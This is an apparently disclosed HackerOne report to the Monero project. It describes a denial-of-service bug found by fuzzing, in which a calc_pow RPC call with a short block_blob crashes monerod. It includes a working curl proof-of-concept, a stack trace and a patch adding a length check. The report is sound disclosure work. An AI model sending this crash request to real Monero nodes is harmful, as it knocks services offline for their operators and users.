Reported Denial of Service

Disclosed: 2026-04-06 17:23:31 By jehrenhofermagicgrants To monero
Unknown
Vulnerability Details
*This submission is being made by [MAGIC Grants](https://magicgrants.org), a public charity that supports critical infrastructure. The MAGIC Monero Fund, one of our committees, [recently contracted](https://donate.magicgrants.org/monero/projects/fuzzing-monero-rpc) [Ada Logics](https://adalogics.com/) to perform fuzzing work on Monero's RPC endpoints. This submission has been forwarded from Ada Logics to the Monero team. We waive the opportunity for a monetary reward.* --- PoC: 1) start monerod on a local machine 2) perform the following RPC call: $ curl http://127.0.0.1:18081/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"calc_pow","params":{"major_version": 7, "height": 5, "block_blob": "010101", "seed_hash": "1111111111111111111111111111111111111111111111111111111111111111"}' -H 'Content-Type: application/json' The monerod server will crash with the message "Cryptonight variant 1 needs at least 43 bytes of data". The issue happens because "block_blob" does not produce a 43 byte hex string. The DoS issue is the "_exit(1)" here: https://github.com/monero-project/monero/blob/17f6fb871c09507cd13c23fdecd9cbcca3f01326/src/crypto/slow-hash.c#L139 The problem is that the RPC arguments can control execution so that this exit is reached. The way to fix this issue is likely to just place some checking earlier in the callstack. This was found by the fuzzing harness we're developing and the callstack from Monero's code is: ``` #0 0x562d9ed19751 in __sanitizer_print_stack_trace /src/llvm-project/compiler-rt/lib/asan/asan_stack.cpp:87:3 #1 0x562d9ec1e6e8 in fuzzer::PrintStackTrace() /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerUtil.cpp:210:5 #2 0x562d9ec01a83 in fuzzer::Fuzzer::CrashCallback() /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:231:3 #3 0x7fb1be04251f (/lib/x86_64-linux-gnu/libc.so.6+0x4251f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #4 0x7fb1be0969fb in __pthread_kill_implementation nptl/./nptl/pthread_kill.c:43:17 #5 0x7fb1be0969fb in __pthread_kill_internal nptl/./nptl/pthread_kill.c:78:10 #6 0x7fb1be0969fb in pthread_kill nptl/./nptl/pthread_kill.c:89:10 #7 0x7fb1be042475 in gsignal signal/../sysdeps/posix/raise.c:26:13 #8 0x7fb1be0287f2 in abort stdlib/./stdlib/abort.c:79:7 #9 0x562da0002d62 in cn_slow_hash /src/monero/monero/src/crypto/slow-hash.c:911:5 #10 0x562d9fb9e2b6 in cn_slow_hash /src/monero/monero/src/crypto/hash.h:74:5 #11 0x562d9fb9e2b6 in cryptonote::get_block_longhash(cryptonote::Blockchain const*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, crypto::hash&, unsigned long, int, crypto::hash cons t*, int) /src/monero/monero/src/cryptonote_core/cryptonote_tx_utils.cpp:702:7 #12 0x562d9f1add90 in cryptonote::core_rpc_server::on_calcpow(epee::misc_utils::struct_init<cryptonote::COMMAND_RPC_CALCPOW::request_t> const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >&, epee::json_rpc::error&, epee::net_utils::connection_context_base const*) /src/monero/monero/src/rpc/core_rpc_server.cpp:2098:5 ``` For fuzzing purposes we use this diff to patch out the issue (line numbers may be a slight off as we have some more patches around): --- a/src/rpc/core_rpc_server.cpp +++ b/src/rpc/core_rpc_server.cpp ``` @@ -2074,6 +2075,12 @@ namespace cryptonote error_resp.message = "Wrong block blob"; return false; } + // std::cout << "Blob data: " << blockblob.size() << " bytes" << std::endl; + if (blockblob.size() < 43) { + error_resp.code = CORE_RPC_ERROR_CODE_WRONG_BLOCKBLOB; + error_resp.message = "Wrong block blob"; + return false; + } if(!m_core.check_incoming_block_size(blockblob)) { error_resp.code = CORE_RPC_ERROR_CODE_WRONG_BLOCKBLOB_SIZE; ``` ## Impact Potential denial of service; potential monerod crash
Actions
View on HackerOne
Report Stats
  • Report ID: 3241102
  • State: Closed
  • Substate: resolved
Share this report